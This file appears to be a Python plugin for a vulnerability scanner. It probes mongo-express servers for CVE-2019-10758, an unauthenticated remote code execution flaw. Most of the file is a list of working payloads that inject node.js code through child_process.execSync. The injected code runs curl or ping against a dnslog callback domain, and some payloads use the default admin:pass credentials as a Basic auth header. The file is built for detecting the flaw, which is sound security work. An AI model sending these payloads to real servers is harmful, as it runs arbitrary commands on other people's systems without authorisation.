#!/usr/bin/env python3
# -*- coding:utf-8 -*-

'''
mongo-express 未授权远程代码执行
    CVE-2019-10758
        Payload: https://vulhub.org/#/environments/mongo-express/CVE-2019-10758/

如果可以成功登录, 或者目标服务器没有修改默认的账号密码(admin:pass), 则可以执行任意node.js代码
'''

from lib.api.dns import dns
from lib.tool.md5 import random_md5
from PluginManager import Vuln_Scan

class Scan(Vuln_Scan):
    def __init__(self):
        self.payloads = [
            {
                'path': 'checkValid',
                'data': 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl DNSDOMAIN")',
                'headers': {'Authorization': 'Basic YWRtaW46cGFzcw=='}
                
            },
            {
                'path': 'checkValid',
                'data': 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("ping -c 4 DNSDOMAIN")',
                'headers': {'Authorization': 'Basic YWRtaW46cGFzcw=='}
            },
            {
                'path': 'checkValid',
                'data': 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("ping DNSDOMAIN")',
                'headers': {'Authorization': 'Basic YWRtaW46cGFzcw=='}
            },
            {
                'path': 'checkValid',
                'data': 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl DNSDOMAIN")',
                'headers': {}
                
            },
            {
                'path': 'checkValid',
                'data': 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("ping -c 4 DNSDOMAIN")',
                'headers': {}
            },
            {
                'path': 'checkValid',
                'data': 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("ping DNSDOMAIN")',
                'headers': {}
            }
        ]
    
    def POC(self, clients):
        client = clients.get('reqClient')
        sessid = '3d2f0881262d8bd19e65a6ce89229c5e'

        vul_info = {
            'app_name': 'mongo-express',
            'vul_type': 'RCE',
            'vul_id': 'CVE-2019-10758',
        }

        for payload in self.payloads:
            md = random_md5()                                       # * 随机md5值, 8位
            dns_domain = md + '.' + dns.domain(sessid)              # * dnslog/ceye域名

            path = payload['path']
            data = payload['data'].replace('DNSDOMAIN', dns_domain)
            headers = payload['headers']

            res = client.request(
                'post',
                path,
                data=data,
                headers=headers,
                allow_redirects=False,
                vul_info=vul_info
            )
            if res is None:
                continue

            if (dns.result(md, sessid)):
                results = {
                    'Target': res.request.url,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Request': res
                }
                return results
        return None
    
    def EXP(self, clients):
        pass

    def Start(self, clients):
        return self.POC(clients)
